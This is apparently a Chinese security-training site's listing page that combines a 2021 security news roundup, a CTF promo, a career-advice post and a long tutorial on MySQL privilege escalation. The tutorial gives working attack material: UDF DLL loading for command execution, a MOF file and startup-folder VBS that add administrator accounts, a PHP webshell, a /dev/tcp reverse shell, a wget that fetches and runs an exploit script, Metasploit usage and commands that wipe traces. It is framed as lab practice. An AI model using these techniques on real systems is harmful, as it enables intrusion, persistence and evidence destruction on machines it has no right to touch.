免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新恶意软件利用 Windows WSL 子系统以逃避检测 https://thehackernews.com/2021/09/new-malware-targets-windows-subsystem.html 2、Ryuk Ransomware Gang 利用 Microsoft MSHTML 漏洞 https://threatpost.com/microsoft-mshtml-ryuk-ransomware/174780/ 3、AMD CPU 驱动程序漏洞可被利用获取敏感数据 https://www.securityweek.com/amd-chipset-driver-vulnerability-can-allow-hackers-obtain-sensitive-data 4、Mirai 僵尸网络开始利用 OMIGOD 漏洞 https://www.securityweek.com/mirai-botnet-starts-exploiting-omigod-flaw-microsoft-issues-more-guidance 5、互联网协会引入 MANRS 计划以提高路由安全性 https://www.helpnetsecurity.com/2021/09/17/internet-society-manrs-initiative 6、黑客窃取了巴黎医院约140万名患者的个人数据 https://www.securityweek.com/mass-personal-data-theft-paris-covid-tests-hospitals 7、黑客破坏了德国大选管理机构的网站 https://www.securityweek.com/german-election-authority-confirms-likely-cyber-attack 8、一项针对航空业的恶意软件攻击活动在两年后被发现 https://thehackernews.com/2021/09/malware-attack-on-aviation-sector.html 9、FBI:今年美国网恋诈骗损失1.13亿美元 https://www.freebuf.com/news/288898.html 10、新的 Zloader 攻击可以禁用Windows Defender https://www.bleepingcomputer.com/news/security/new-zloader-attacks-disable-windows-defender-to-evade-detection/
这次没有如果,带着真题来了
正文:  每周五固定节目又来了!教师节为什么没有更新,因为备课去了,所以这周带着真题来讲解了。   训练终究只是训练,赛场才是最后的考验。真正的比赛中会包含CTF的不同题型,前面的Weekly CTF还在WEB赛段,在其它的题型出来之前,我们今天来提前感受下比赛中的真题,为以后参赛做准备。  本次讲解的是全国大学生网络安全技能大赛“蓝帽杯”的真题,可能大家在网上搜索也能发现很多writeup,不过我们实验室不仅提供解析还准备了实操环境,更绝的是还带视频讲解,这样就完美解决了文字枯燥想睡觉的问题。   今天给大家带来的第一题是WEB题型<杰克与肉丝>,对这就是真实的比赛,搞安全的也不全是耿直大直男只会取专业名词组成的题名,也是偶尔有皮的。这道题的考点大家应该还很熟悉了,前面几周的练习题都是反序列化的,这不真题就来考这个点了。如果有初学者不了解的,也可以上我们实验室的官网搜索关键词“反序列化”,有很多相关的实验可供学习,其它方向的也很齐全,大家按需学习即可,也可以加入讨论群或者咨询线上的客服进一步了解。想快速上手的话我们还有特训班,网络安全的几个方向都有覆盖到,学员的评价也都非常好,讲师无时无刻不在答疑(此处讲师行为惊呆B站官号运营并发了动态),小班授课非流水线模式,良心与实力兼备。  最后希望我们都能拥有很多很多的知识(qian),比赛题题会,考试门门过!我们赛场上见, 并提前祝大家月(kai)饼(xue)节(le)快乐~!    链接直达:http:// https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID9e84-22a0-4aca-a1f2-d6987bb83923 &
mysql提权总结
前言 前两天参加了省赛的内网渗透,在拿到webshell后发现是一个站库分离,通过信息搜集得到了数据库的账号密码,但是是一个www-data权限,执行不了代理的命令,这时候就需要提权到root权限才能够执行命令,最后还没有通过udf提权,而是通过/tmp这个目录能够修改权限,改为777权限后使用的代理。因为linux打得比较少,我们队在这个地方卡了很久,导致只打到了第一层网络,第二层内网就没有时间去打,所以补一下关于mysql的提权知识。 UDF提权 何为UDF UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。 使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。其实除了UDF外,使用者还可以将函数添加为MySQL的固有(内建)函数,固有函数被编译进mysqld服务器中,称为永久可用的,不过这种方式较添加UDF复杂 UDF利用条件 1.知道数据库的用户和密码;2.mysql可以远程登录;3.mysql有写入文件的权限,即secure_file_priv的值为空。 关于第一点就不用多说了,可以通过拿到webshell之后翻阅文件得到,对于不同情况下有不同得获取方式,这里不再赘述;主要提一下第二三点。 在默认情况下,mysql只允许本地登录,我们知道可以通过navicat去连接数据库(在知道帐号密码的情况下),但是如果只允许本地登录的情况下,即使知道账号密码的情况下也不能够连接上mysql数据库,那么在这种情况下就只有通过拿到本机的高权限rdp登陆远程桌面后连接。 远程连接对应的设置在mysql目录下的/etc/mysql/my.conf文件,对应的设置为bind-address = 127.0.0.1这一行,这是默认情况下的设置,如果我们要允许在任何主机上面都能够远程登录mysql的话,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0 光更改配置文件还不够,还需要给远程登陆的用户赋予权限,首先新建一个admin/123456用户,使用%来允许任意ip登录mysql,这样我们就能够通过navicat使用admin/123456用户远程连接到数据库 grant all on *.* to admin@'%' identified by '123456' with grant option; flush privileges; 关于第三点的secure_file_priv参数,这里有三个值,分别为NULL、/tmp、空,NULL顾名思义即不允许导入或导出,那么在这种情况下就不能使用sql语句向数据库内写入任何语句,/tmp的意思是只能在/tmp目录下写入文件,这种情况下就需要考虑写入文件到文件夹后能否在网页上访问连接到这个目录,如果这个值为空,那么就可以通过构造sql语句向mysql数据库下的任何目录写入文件。 这里还有一个需要了解的点就是在mysql5.5版本之前secure_file_priv这个值是默认为空的,那么我们拿到的webshell如果对应的mysql数据库版本在5.5以下的话操作起来就比较方便,在mysql5.5版本之后secure_file_priv这个值是默认为NULL的,即不能够往数据库内写入文件。 手动提权 首先这里现在官网下载一个mysql,这里我下载的是5.5.19,注意这里需要下msi文件,不要下zip文件 下载好后进行安装即可 这里使用utf-8字符集 安装好后使用mysql -u root -p进入mysql 因为我是5.5.19版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。这里说到了动态链接库,动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linnux环境下后缀名为.so 那么这里利用.dll或.so文件在哪里去找呢?这两个文件在sqlmap和msf里面都有内置 首先在sqlmap里面找一下,在sqlmap里面对应的目录地址为udf/mysql,这里进入目录后可以看到sqlmap已经帮我们分好类了 不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。 命令如下(这里使用到64位的dll,其他版本改后缀名即可) python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll 这里好像因为我本机的环境配置的问题这里py3没有执行成功,这里换到kali环境里面使用py2解密 python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll 另外可以用msf提供的动态链接库文件,这里注意msf里面的动态链接库是已经解密好了的可以直接使用,msf下的动态链接库目录如下 /usr/share/metasploit-framework/data/exploits/mysql/ 直接拿出来使用010 editor进行查看是包含了一些函数 解密过程完成之后就需要把解密得到的UDF动态链接库文件放到mysql的插件目录下,这里使用如下命令查询插件目录的位置 show variables like "%plugin%"; 这里可以看到我的插件目录就是C:\Program Files\MySQL\MySQL Server 5.5\lib/plugin 使用select @@basedir查看一下MySQL安装的位置 这里因为只单独安装了一个MySQL,没有安装其他的web,所以为了更好的还原环境,这里使用phpstudy来搭建环境,这里假设我已经拿到了一个目标机器的webshell,但是这里权限很低,使用到udf提权 首先来到MySQL/lib文件夹下,这里可以看到是没有plugin这个文件夹的,所以这里需要我们先创建一个文件夹 创建plugin文件夹 然后把解密过后的lib_mysqludf_sys_64.dll放到plugin文件夹下 这里为了方便我把dll改名为udf.dll,但是这里报错ERROR 1126,这里我百度过后发现这个dll并不是跟系统位数有关的,而是跟mysql版本有关系,而且phpstudy自带的mysql版本需要用32位的dll才能够操作 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; 这里我上传一个32位的dll到plugin文件夹内 再使用命令创建自定义函数即可 然后使用命令查看是否新增了sys_eval函数 select * from mysql.func; 可以看到这里创建成功那么就可以执行系统命令,到这里就是一个高权限了,而且如果有disable_functions把函数禁用了,用udf提权也是能够操作的 拓展:UDF shell 允许外连 这里可以使用写好的大马https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php来自动提权,我们测试一下 首先把php上传到可以网页访问的位置,这里我直接连接报错了应该是因为没有设置可以外连,只允许本地连接,首先实验一下允许外联的情况 这里进入my.ini文件设置bind-address = 0.0.0.0 然后创建一个admin/123456用户允许外连 再次登录即可登录成功 这里首先dump udf.dll到plugin文件夹下,这里可以看到dump dll成功 然后创建函数,再执行命令即可 不允许外连 这里我们再把bind-address = 0.0.0.0这行注释掉之后进行试验,因为不允许外连,那么只有本地连接数据库,这时候很容易想到正向连接我们代理进去连接数据库。这里使用reg、ew都可以,但是这里因为是mysql的原因,使用navicat自带的tunnel脚本会更加方便。 首先测试一下,是不允许外连的(这里图搞错了) 这里上传nutunnel_mysql.php到靶机上访问,这里看到已经连接成功了 然后连接的时候设置HTTP隧道 即可连接到mysql,然后提权操作同前 MOF提权 mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。 利用条件 只使用于windows系统,一般低版本系统才可以用,比如xp、server2003 对C:\Windows\System32\wbem\MOF目录有读写权限 可以找到一个可写目录,写入mof文件 手动提权 这里我没有安装2003的虚拟机,所以就不放图了,写一下提权的步骤 生成testmod.mod文件并上传到靶机的可写目录 #pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter {   EventNamespace = "Root\\Cimv2";   Name = "filtP2";   Query = "Select * From __InstanceModificationEvent "           "Where TargetInstance Isa \"Win32_LocalTime\" "           "And TargetInstance.Second = 5";   QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer {   Name = "consPCSV2";   ScriptingEngine = "JScript";   ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")"; }; instance of __FilterToConsumerBinding {   Consumer   = $Consumer;   Filter = $EventFilter; }; 进入mysql命令行执行导入命令,导入完成过后系统会自动运行 select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof" 使用net user命令即可发现已经加入了管理员组 msf提权 msf内置了MOF提权模块,相比于手动提权的好处就是msf的MOF模块有自动清理痕迹的功能 use exploit/windows/mysql/mysql_mofset payload windows/meterpreter/reverse_tcpset rhosts 192.168.10.17set username rootset password rootrun 拓展 因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果 # 停止 winmgmt 服务net stop winmgmt# 删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\# 手动删除 mof 文件del C:\Windows\system32\wbem\mof\good\test.mof /F /S# 删除创建的用户net user hacker /delete# 重新启动服务net start winmgmt 启动项提权 windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。 这个地方既然碰到了启动项提权,就总结一下不限于mysql的启动项提权方法。 启动项路径 在windows2003的系统下,启动项路径如下: C:\Documents and Settings\Administrator\「开始」菜单\程序\启动C:\Documents and Settings\All Users\「开始」菜单\程序\启动 在windows2008的系统下,启动项路径如下: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 自动化脚本 我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。 这里使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码 set wshshell=createobject("wscript.shell")a=wshshell.run("cmd.exe /c net user test test123 /add",0)b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0) 使用sql语句 连接到mysql之后创建一个表写入sql语句 use mysql;create table test(cmd text);insert into a values(“set wshshell=createobject(“”wscript.shell””)”);insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);select * fro 重启之后即可提权 CVE-2016-6663&CVE-2016-6664 CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。 CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。 导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。可以看到,两个cve分别是用来将低权限的www-data权限提升为mysql权限,然后再将mysql提升为root权限。 利用条件 CVE-2016-6663 1.已经getshell,获得www-data权限 2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码 3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权 4.Mysql<5.5.51或<5.6.32或<5.7.14 CVE-2016-6664 1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可) 2.需要在mysql权限下运行才能利用 3.Mysql<5.5.51或<5.6.32或<5.7.14 环境搭建 这里使用到tutum/lamp的镜像环境,运行docker并连接 docker pull tutum/lampdocker run -d -P tutum/lampdocker psdocker exec -it b9 /bin/bash 安装apt,wget,gcc,libmysqlclient-dev apt updateapt install -y wget gcc libmysqlclient-dev 写入一个一句话木马方便后续连接,这里注意,linux环境下用echo命令写入木马需要加' '进行转义,否则会报错 cd /var/htmlecho '<?php @eval($_POST['hacker']); ?>' > shell.php 给web路径赋予777权限 chmod -R 777 /var/www/html 进入mysql环境添加一个对test库有create,drop,insert,select权限的test用户,密码为123456 将apache2和mysql服务重启并重新保存容器,将新容器的80端口映射到8080端口,3306映射到3306端口的方式运行容器。 service restart apache2service restart mysqlocker commit c0ae81326db0 test/lampdocker run -d -p 8080:80 -p 3306:3306 test/lamp 访问一下8080端口若出现如下界面则环境搭建成功 CVE-2016-6663 cve-2016-6663即将www-data权限提升为mysql权限,首先连接我们之前写入的webshell 首先看一下权限跟目录的可执行状况,可以看到html目录下是777 然后写入exp,命名为mysql-privesc-race.c,exp如下所示 #include <fcntl.h>#include <grp.h>#include <mysql.h>#include <pwd.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/inotify.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/wait.h>#include <time.h>#include <unistd.h>#define EXP_PATH "/tmp/mysql_priv 这里我直接用蚁剑执行的话执行不了 使用nc配合bash命令反弹后执行命令,即可从www-data权限提升到mysql权限 nc -lvvp 7777/bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1cd var/www/html/gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient./mysql-privesc-race test 123456 localhost test CVE-2016-6664 cve-2016-6664即把mysql权限提升到root权限 tutum/lamp日志方式不是默认的基于文件的日志,而是syslog,所以我们首先要将它改为默认配置 vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf 删除掉syslog,然后重启mysql 使用exp #!/bin/bash -p## MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit# mysql-chowned.sh (ver. 1.0)## CVE-2016-6664 / OCVE-2016-5617## Discovered and coded by:## Dawid Golunski# dawid[at]legalhackers.com## https://legalhackers.com## Follow https://twitter.com/dawid_golunski for updates 在刚才mysql权限的shell中下载提权脚本并执行,即可得到root权限 wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod 777 mysql-chowned.sh./mysql-chowned.sh /var/log/mysql/error.log 点击链接开始实验:https://www.yijinglab.com/expc.do?ce=aeffe339-186d-4c81-bcac-c647aa77ddd0 udf通过添加新函数,对MySQL的功能进行扩充,使用UDF提权原理就是通过引入udf.dll,引入自定义函数,执行系统命令。通过实验学习真实渗透场景中的MySQL udf提权方法,掌握两种dll文件导入方式,通过udf提权执行系统命令。
应届生or准应届生甲乙方怎么选
前言 本人情况:三非(非985、211非信安专业),拿过一些国家级奖项,参加过小hvv。暑期找实习的时候,从甲乙方offer中,选择了甲方安全。就着这三个月的甲方工作,对应届生和准应届生的offer该如何选择做一个分析,帮助一下还在找工作的同学。 甲方,乙方 甲方一般是指提出目标的一方,在合同拟订过程中主要是提出要实现什么目标。 乙方一般是指完成目标,在合同中主要是提出如何保证实现,并根据完成情况获取收益的一方。 在合同过程中,甲方主要是监督乙方是否完全按照要求提供自身需求的满足。 在合同执行结束后,甲方一般需要付出资金或者其他,以获得自身需求所需要的东西。通俗点说,甲方就是出钱的,乙方就是出力的。安全中的甲方,大多是监管方(如政府机关中的信安部门)以及互联网公司,乙方自然就是qax、某恒,某信服这些。 差异性 1.薪资。下面的第一张图是北京某互联网公司的薪资,第二张图是国内某一线安全厂商安全实验室薪资,谁高谁低一目了然。尤其在北京这样寸土寸金的地方,多六千块钱的生活质量还是差别挺大的。 2.工作性质。互联网公司的安全工程师,主要是负责公司内部的安全建设,包括对自家开发的各类产品进行渗透测试,一般产品都会在渗透测试通过后方可上线(渗透);自研防火墙、扫描器、蜜罐等安全产品(安全开发);把监管部门的合规要求转换成公司的安全项目来推进,避免上线产品因各种原因导致公司财产遭到损失(安全合规);对公司内安全建设进行推进(安全运营)等等 而乙方的安全岗位主要是有三种,安全驻场,主要负责对部署在甲方上的服务(如WAF、IDS、IPS等设备)进行维护和查看,对甲方的应用进行安全扫描,一般都是使用某ray,某by之类的软件一顿扫即可;渗透测试工程师,给你几个站让你去测试,然后生成一个测试报告,这会比较考验你的基本功是否扎实,因为会涉及到各种的绕过;安全研究工程师,算得上是乙方中站在顶端的岗位,需要你有一个扎实的基础,因为你的kpi可能是某软,某果或者其他大型IT公司的致谢、也可能是挖到了某款CMS的RCE漏洞、亦或是在某hvv项目中崭露头角等等高逼格的成绩 3.个人提升。在笔者角度上看,甲方大部分岗位和安全研究的天花板是很高的。在甲方安全的三个月里,跟不少同事都有接触,告诉我的是,甲方安全更重要的是要把控整个公司的安全视角,将安全问题从发现到治理形成一个完整的闭环,所以不仅需要有一个扎实的基础,还需要有一定的沟通(和业务撕*)能力,以及一颗大心脏,毕竟互联网公司995不是谁都受得了的。再说到安全研究岗,上班的很多时间都是在学习新的东西,比如近几年比较火的ATT&CK框架,研究如何绕过市面上的WAF,复现网上最新的漏洞、编写POC等等。 offer难度 抛开独角兽公司(byte、ali、tx)不说,难度划分:互联网公司安全实验室>一线安全厂商安全实验室研究岗>=甲方互联网公司岗位>渗透测试岗位>驻场。 选择 当然,如果能拿下BAT的offer自然是去BAT了,毕竟没人跟钱过不去。笔者觉得,刚进入安全行业的萌新其实并没有过深的安全知识,如果能到安全实验室的研究岗位去学习深造一年,再去冲击互联网公司,对职业发展来说会大有裨益(安全大佬们请直接冲ali or tx的实验室)。 一些tips 1.因为笔者的三非经历,校内少有安全相关课程,很幸运的加入学校的安全社团,有学长和老师的支持下对安全有了一定的理解,这时候配合蚁景实验室靶场就事半功倍了。 2.安全目前来说还不是很卷,总结一下就是目前开设信安的高校不多,从事安全的同学基本都是自学为主。所以很多身边同事并非科班出身包括自己,大专学历也并非没有,所以感兴趣的同学可以尽早入行上车~ 3.学习安全一定得有明确的学习路线,比如说渗透和安全开发,两者的学习路线就有明显的差异,找到自己的兴趣点,坚持学下去会有收获的。 以上是笔者在实习三个月的感受,欢迎行业内的大佬们进行批评指正~
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页